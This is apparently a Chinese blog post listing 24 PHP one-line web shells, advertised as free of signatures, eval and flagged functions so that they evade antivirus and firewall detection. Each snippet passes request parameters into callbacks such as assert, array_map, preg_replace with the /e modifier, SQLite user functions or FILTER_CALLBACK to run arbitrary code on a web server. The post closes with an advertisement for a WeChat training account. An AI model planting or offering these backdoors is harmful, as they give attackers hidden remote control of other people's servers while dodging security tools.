时间：2021-07-01 10:21:17 帮助过：18人阅读
|
分享一些无特征PHP一句话 分享些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。（少部分一句话需要php5.4.8+、或sqlite/pdo/yaml/memcached扩展等） 原理：http://www.toceanedu.com/shareMethod/639.jhtml 01$e =$_REQUEST['e']; $arr = array($_POST['pass'],); array_filter($arr, $e);02$e =$_REQUEST['e']; $arr = array($_POST['pass'],); array_map($e, $arr);03$e =$_REQUEST['e']; $arr = array('test', $_REQUEST['pass']); uasort($arr, $e);04$e =$_REQUEST['e']; $arr = array('test' => 1, $_REQUEST['pass'] => 2); uksort($arr, $e);05$arr =new ArrayObject(array('test', $_REQUEST['pass'])); $arr->uasort('assert');06$arr =new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2)); $arr->uksort('assert');07$e =$_REQUEST['e']; $arr = array(1); array_reduce($arr, $e, $_POST['pass']);08$e =$_REQUEST['e']; $arr = array($_POST['pass']); $arr2 = array(1); array_udiff($arr, $arr2, $e);09$e =$_REQUEST['e']; $arr = array($_POST['pass'] => '|.*|e',); array_walk($arr, $e, '');10$e =$_REQUEST['e']; $arr = array($_POST['pass'] => '|.*|e',); array_walk_recursive($arr, $e, '');11mb_ereg_replace('.*',$_REQUEST['pass'], '', 'e');12echopreg_filter('|.*|e', $_REQUEST['pass'], '');13ob_start('assert'); echo $_REQUEST['pass']; ob_end_flush();14$e =$_REQUEST['e']; register_shutdown_function($e, $_REQUEST['pass']);15$e =$_REQUEST['e']; declare(ticks=1); register_tick_function($e, $_REQUEST['pass']);16filter_var($_REQUEST['pass'],FILTER_CALLBACK, array('options' => 'assert'));17filter_var_array(array('test'=> $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK,'options' => 'assert')));18$e =$_REQUEST['e']; $db = new PDO('sqlite:sqlite.db3'); $db->sqliteCreateFunction('myfunc', $e, 1); $sth = $db->prepare("SELECT myfunc(:exec)"); $sth->execute(array(':exec' => $_REQUEST['pass']));19$e =$_REQUEST['e']; $db = new SQLite3('sqlite.db3'); $db->createFunction('myfunc', $e); $stmt = $db->prepare("SELECT myfunc(?)"); $stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT); $stmt->execute();20$str =urlencode($_REQUEST['pass']); $yaml = << EOD; $parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}"=> 'preg_replace'));21$mem =new Memcache(); $re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE,create_function('$a,$b,$c,$d,$e', 'return assert($a);')); $mem->connect($_REQUEST['pass'], 11211, 0);22preg_replace_callback('/.+/i',create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);23mb_ereg_replace_callback('.+',create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);24$iterator= new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)),create_function('$a', 'assert($a);')); foreach ($iterator as $item) {echo $item;}在学习过程中遇到任何技术上的问题没有及时解决，推荐一个不错的微信公众号：【拓胜科技】会有专业的技术人员为你解决。【拓胜科技】专注于分享最全的编程开发视频学习资料、学习经验。目前已经整理出Java，Android，UID，PHP，iOS等等教学视频， |